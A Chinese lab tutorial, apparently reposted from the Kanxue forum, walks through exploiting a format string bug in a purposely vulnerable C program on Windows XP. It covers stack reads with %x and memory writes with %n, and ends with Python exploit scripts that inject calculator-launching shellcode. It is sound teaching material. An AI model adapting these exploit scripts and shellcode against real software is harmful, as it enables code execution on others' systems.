Windows格式化字符串漏洞利用简单示例
2024-9-19 17:39:17 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

在网上找学习格式化字符串漏洞的材料,大多数是 Linux 系统的,分享一下在 Windows 系统上学习格式化字符串漏洞的记录。

环境配置

01

◆操作系统:Windows XP SP1

◆编译器:VC6.0

◆调试器:Immunity Debugger

◆漏洞利用脚本语言:Python 2.7.1

编译测试程序

02

将以下代码通过VC6.0 编译成程序Fstring.exe(release 版)。

#include <stdio.h> 
#include <string.h>

void parser(char *string)
{
char buff[256];
memset(buff,0,sizeof(buff));
strncpy(buff,string,sizeof(buff)-1);
printf(buff);
}

int main (int argc, char *argv[])
{
parser(argv[1]);
return 0;
}

设置系统默认调试器

03

在系统的注册表HKEY_LOCAL_MACHINE –> SOFTWARE –> Microsoft –> Windows NT –> CurrentVersion –> AeDebug中,添加 Debugger,将其数据设置为调试器所在的的文件路径,后面还需要加上一些参数设置,这有利于后面的调试。
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld

如下图所示:

在Auto 的值被设置为 0 的情况下,设置好默认调试器后,程序在因为内存访问异常等问题崩溃时时,系统显示确认消息框,点击该窗口的调试选项(Debug),调试器就可以自动附加程序并定位到出现异常的地址,如下图所示:


在Auto 的值被设置为 1 的情况下,程序崩溃时,没有显示确认消息框的步骤,调试器会直接启动并附加程序。

漏洞原理

05

格式化字符串漏洞产生的主要原因是格式符与参数的数量不匹配,格式符会不受限制地读取栈区的数据。

当格式符与参数的数量匹配时,例如printf("Test String:%x,%d,%d",20,70,40),当参数全部压入栈后,栈区的情况如下所示:


◆%x以十六进制形式输出无符号整数

◆%d以十进制形式输出带符号整数

printf 函数会正常打印输出Test String:14,70,40。


但是当格式符与参数的数量不匹配时,例如printf("Test String:%x,%d,%d,%x",20,70,40),当参数全部压入栈后,栈区的情况如下所示:

printf 函数会打印输出Test String:14,70,40,ffffffff,栈区的数据就被读取了。


以上是利用格式化字符串漏洞读取栈区数据的简单示范。


一般来说,可以通过利用格式化字符串漏洞实现以下目标:读取内存、写入内存、执行任意代码。


接下来以 printf 函数为例对格式化字符串漏洞进行说明。

4.1 读取内存

%x控制符会导致printf函数从堆栈中弹出一个整数并以十六进制格式输出 。


用调试器打Immunity Debugger开文件Fstring.exe,在参数栏输入text-%x。





0x401033是 printf 函数,函数调用之前,栈顶0x12FE74指向的值是字符串text—%x的地址0x0012FE7C。


printf函数执行后text-会正常打印出来,%x 会打印堆栈中栈顶偏移 0x4 (即0x12FE78)的值FFFFFFFF。

输入text-%x%x时,printf函数会一直打印到栈顶偏移位置0x8,即0x12FE7C的值,即74786574(text 的 ASCII 码)。

输入text-%x%10x时,因为有两个%x,printf函数同样会打印到栈顶偏移位置0x8,但由于其中一个是%10x,所以打印时会占用 10 个字符,没有数值的地方用空格填充,即text-ffffffff 74786574。



输入参数AAAABBBBCCCC%x%x%x%x,程序的输出如下所示:



也就是说在调用 printf 函数时,每个格式符%x 都在栈里读取数据,读取的位置也是以 4 个字节往栈区高地址递增。如果不受限制地传入参数%x,那么栈区的数据就会被泄露。

4.2 写入内存

%n控制符的特殊之处在于它不会像其他格式符那样输出内容,而是将当前已经输出的字符数写入指定的内存地址。


printf函数内部维护着一个计数器,用于记录已经打印的字符数量。每次调用 printf 函数时,这个计数器都会被初始化为 0。当printf函数遇到 %n 格式符时,它会将当前计数器的值(即已打印字符数)写入 %n 对应的参数指向的内存地址。


这个指定的内存地址由%n 后面的参数决定,例如下面代码中的变量 count 的地址就是打印的字符数量写入的地址。

int count = 0;
printf("Hello, world!%n", &count); //目前较新的编译器已经禁用了%n
printf("\nCount: %d\n", count); //一些在线编译器或者VC6.0可以做这个小测试

上面代码的输出结果是:

Hello, world!
Count: 13

重新调试程序Fstring.exe,在之前调试的基础上做一点微调,将最后一个格式符%x 换成%n。

AAAABBBBCCCC%x%x%x%n

根据上面的测试经验可知,格式符%n 读取的值应该是43434343,不过43434343不会打印输出,而是作为字符数传入的地址。可是%n 后面没有别的参数了,看看%n 会读取栈上哪个位置的数据作为传入字符数的地址。


看一下调试结果:

程序在0x4018A7遇到了内存访问异常,此时 EAX = 0x43434343,ECX=0x24(十进制的 36)。指令MOV DWORD PTR DS:[EAX],ECX试图将 0x24 赋值给地址 0x43434343。


前面已经提到,%n 是将已经输出的字符数写入指定的内存地址,这条指令就是将字符数 36(3 个%x 共打印 24 个字符,加上 AAAABBBBCCCC 合计 36 个字符)写入地址 0x43434343,也就是说%n 和%x 一样,按照顺序在栈区读取数据,并用作字符数写入的地址。

地址 0x43434343 是一个无效的内存地址,才会遇到访问异常,如果换一个有效的内存地址呢,例如随便在内存窗口选一个值为 0 的地址0x407148,看看结果如何。调试时输入以下参数。

%x%x%x%nHq@ //H、q、@的ASCII(十六进制)分别是0x48、0x71、0x40


调试结果显示,字符数 0x18(十进制的 24,即 3 个%x 打印的字符数)已经被成功写入了地址0x407148。

4.3 执行任意代码

通过以上调试和测试可知,可以利用格式化字符串漏洞在任意地址写入任意数据。
要完成漏洞利用,执行任意代码,需要在程序执行0x0040187之前:

◆通过调整字符串的长度或者%x来调整打印的字符数,使其等于 shellcode 的起始地址;

◆然后通过%n 将打印的字符数(即 shellcode 的起始地址)写入某个可供利用的地址,例如 shellcode 附近的函数返回地址

接下来说明格式化字符串的漏洞利用细节。

漏洞利用

05

5.1 调整 EAX

按照下面代码编写 Python 脚本,最好将程序Fstring.exe和脚本放在同一个文件夹中。

from subprocess import call

a="A"*80 //需要有足够的填充字符,以便之后替换成payload
b="%x"*44+"%ncc" //%x用于调整打印输出的字符数。%n用于将字符数写入指定地址
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])

点击执行脚本,程序启动并发生异常,调试器自动启动并附加程序,和之前一样停留在异常发生的地址0x004018A7。

此时 EAX 的值为0x42424242,之后需要替换成可供跳转到 shellcode 的地址。


按Alt + K查看程序的调用栈:

离 shellcode 起始地址0x0012FE7C较近的地址是0x0012FE50,所以 EAX 的值可以被0x0012FE50覆盖,借助这个地址跳转到 shellcode。


shellcode 的大致组成如下图所示:


5.2 调整 ECX

前面已经提到,字符串在内存中的起始地址为0x0012FE7C,这也是 shellcode 的起始地址。在执行MOV DWORD PTR DS:[EAX],ECX前,使 ECX 等于0x0012FE7C,需要调整打印的字符串的长度。


0x0012FE7C等于十进制的1244796,之前脚本生成的字符长度是0x1AB,即十进制的427


1244796 - 427 = 1244369。%10x 打印 10 个字符,%1244369x 就可以打印 1244369 个字符。


根据计算结果调整一下脚本:

from subprocess import call

a="A"*80
b="%x"*44+"%1244369x"+"%ncc"
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])

此时 ECX 正好等于0x0012FE7C,但是 EAX 又发生变化了,不等于末尾的字符串 BBBB (0x42424242)。


继续做一点微调:

from subprocess import call

a="A"*80
b="%x"*46+"%1244353x"+"%nc"
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])


此时 EAX = 0x42424242, ECX = 0x12FE7C,接下来我们可以继续改造这个脚本,将结尾的 BBBB 替换为0x0012FE50,将开头的部分填充字符 A 替换为弹出计算器的 payload, 完成漏洞利用。以下是改进后的 shellcode 的大致构成:


5.3 执行 Payload

以下是弹出计算器的 shellcode,共 21 个字节:

calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x35\xFD\xE6\x77" #WinExec的函数地址,可以通过PE工具查看系统的Kernel32.dll获取此地址
"\xFF\xD1\x90\x90")

以下是调整后的脚本:

from subprocess import call

a="\x90"*59
b="\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x35\xFD\xE6\x77\xFF\xD1\x90\x90"
c="%x"*46+"%1244353x"+"%nc\x50\xFE\x12"
buf=a+b+c
call(["Fstring.exe",buf])

计算器成功弹出:


参考文章

06

  • https://learn.microsoft.com/zh-cn/windows/win32/debug/configuring-automatic-debugging

  • https://bbs.kanxue.com/thread-127511.htm

  • https://bbs.kanxue.com/thread-213153.htm

  • https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/

看雪ID:ZyOrca

https://bbs.kanxue.com/user-home-944427.htm

*本文为看雪论坛精华文章,由 ZyOrca 原创,转载请注明来自看雪社区

# 往期推荐

1、CVE-2023-0461复现笔记

2、混淆 Pass 分析 - Flattening

3、URLDNS反序列化利用链

4、CVE-2023-2008复现笔记

5、逆向进入内核时代之APatch源码学习

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458574073&idx=2&sn=5228fc571d81d4ebfe3914e60aca72d1&chksm=b18dec7386fa65656488f55f9a9a24098f4a82d78c0a905c8fddc6f4c73b52ab8d5c4d130b00&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh